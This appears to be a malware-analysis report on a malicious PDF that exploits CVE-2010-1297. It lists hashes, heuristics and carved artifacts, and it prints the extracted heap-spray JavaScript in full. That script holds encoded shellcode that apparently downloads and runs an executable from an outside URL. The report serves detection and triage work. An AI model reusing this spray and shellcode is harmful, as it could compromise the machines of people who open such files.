Malicious PDF — malware analysis report

Static analysis result for SHA-256 976e751fe275d385…

MALICIOUS

PDF

37.7 KB First seen: 2013-08-29
MD5: 928c76c88a4a71e146ac3496c34d9765 SHA-1: 0a92dd33e7c067bbcdd597f28fa586acf5d89a2b SHA-256: 976e751fe275d385e45df88e7eda03ddcb2dd7c78dcb1afba85d1ccd5cfb2742
264 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript and a Flash object (SWF) that triggers a critical CVE-2010-1297 exploit. The JavaScript uses String.fromCharCode and heap spray techniques, indicating an attempt to execute arbitrary code. The embedded SWF file is also flagged as malicious. While the exact payload is not clear, the exploit cluster and embedded content strongly suggest an attempt to compromise the user's system, likely for further payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • CVE-2010-1297 — Adobe Flash/Reader authplay heap-spray (Flash-in-PDF) critical CVE likely CVE_2010_1297
    PDF embeds a Flash (SWF) object via RichMedia and its JavaScript heap-sprays to groom memory for the embedded Flash exploit. This is the CVE-2010-1297 (authplay.dll) Flash-in-PDF memory-corruption shape; the spray is recovered after de-obfuscating space-padded %u, fromCharCode and \u builders that evade the raw heap-spray rules.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.flashandmath.com In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Adobe.swf pdf-embedded-file PDF EmbeddedFile object 16 at offset 0xAC3 55839 bytes
SHA-256: ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=SWF; declared_or_context_type=PDF; filename=Adobe.swf; kind=pdf-embedded-file
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0xF5 1564 bytes
SHA-256: 31c85c6b9f8490f7964580e8ce957f84b0e803a85a9b5b615cf1e8da4c1902de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u612F\u676E\u6C65\u3332\u312E\u6D36\u2E62\u6F63\u2F6D\u2F62\u642F\u776F\u6C6E\u616F\u5F64\u6966\u656C\u702E\u7068\u653F\u413D\u6F64\u6562\u322D\u3130\u2D30\u3832\u3438\uCDFF\u0003';while (padding.length < 65564){	padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){	destination += destination;	if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){	forever[infinite]=today+'s';}

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